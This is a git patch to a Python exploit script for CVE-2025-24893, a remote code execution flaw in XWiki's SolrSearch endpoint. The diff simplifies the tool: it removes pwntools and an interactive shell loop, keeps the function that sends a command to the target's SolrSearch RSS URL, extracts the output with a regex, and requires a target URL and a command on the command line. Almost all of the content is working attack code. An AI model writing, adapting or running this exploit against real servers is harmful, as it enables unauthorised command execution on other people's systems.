From 975f10f015e7013c1c2d08bfb86641b1df6584a6 Mon Sep 17 00:00:00 2001
From: Ian <andwatiian@gmail.com>
Date: Fri, 5 Sep 2025 21:54:22 +0300
Subject: [PATCH] Update CVE-2025-24893.py

---
 CVE-2025-24893.py | 54 ++++++++++-------------------------------------
 1 file changed, 11 insertions(+), 43 deletions(-)

diff --git a/CVE-2025-24893.py b/CVE-2025-24893.py
index 20dda3c..e9fc225 100644
--- a/CVE-2025-24893.py
+++ b/CVE-2025-24893.py
@@ -1,11 +1,8 @@
 #!/usr/bin/env python3
-from pwn import *
 import requests
 import re
-import html2text
 import argparse
-
-context.log_level = "info"
+import html2text
 
 def exploit(url, command):
     payload = (
@@ -15,52 +12,23 @@ def exploit(url, command):
     )
     full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
 
-    log.info(f"Sending payload to: {full_url}")
+    print(f"[*] Sending payload to: {full_url}")
     try:
         response = requests.get(full_url, timeout=10)
     except requests.exceptions.RequestException as e:
-        log.error(f"Connection error: {e}")
-        return None
+        print(f"[!] Connection error: {e}")
+        return
 
-    # Extract [}}} and ]
     match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
     if match:
         raw_output = match.group(1).strip()
         output = h2t.handle(raw_output).strip()
-        return output if output else None
-    return None
-
-
-def shell(url):
-    log.success("Dropping into interactive shell (type commands, Ctrl+C to exit)")
-    while True:
-        try:
-            cmd = input("$ ")
-            if not cmd.strip():
-                continue
-            output = exploit(url, cmd)
-            if output:
-                print(output)
-            else:
-                log.warn("No output (maybe empty command result?)")
-        except KeyboardInterrupt:
-            log.info("Exiting shell.")
-            break
-
-
-def main():
-    url = args.URL.rstrip("/")
-    command = args.CMD
-
-    if command:
-        out = exploit(url, command)
-        if out:
-            print(f"\n[+] Command output '{command}':\n")
-            print(out)
+        if output:
+            print(f"\n[+] Command output:\n{output}")
         else:
-            log.warn("Command executed but returned no output.")
+            print("[!] Command executed but returned no output.")
     else:
-        shell(url)
+        print("[!] No output found in response.")
 
 
 if __name__ == "__main__":
@@ -70,8 +38,8 @@ if __name__ == "__main__":
     parser = argparse.ArgumentParser(
         description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
     )
-    parser.add_argument("-u", "--url", dest="URL", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
-    parser.add_argument("-c", "--command", dest="CMD", help="Single command to run, omit for interactive shell")
+    parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
+    parser.add_argument("-c", "--command", required=True, help="Command to execute")
     args = parser.parse_args()
 
-    main()
+    exploit(args.url.rstrip("/"), args.command)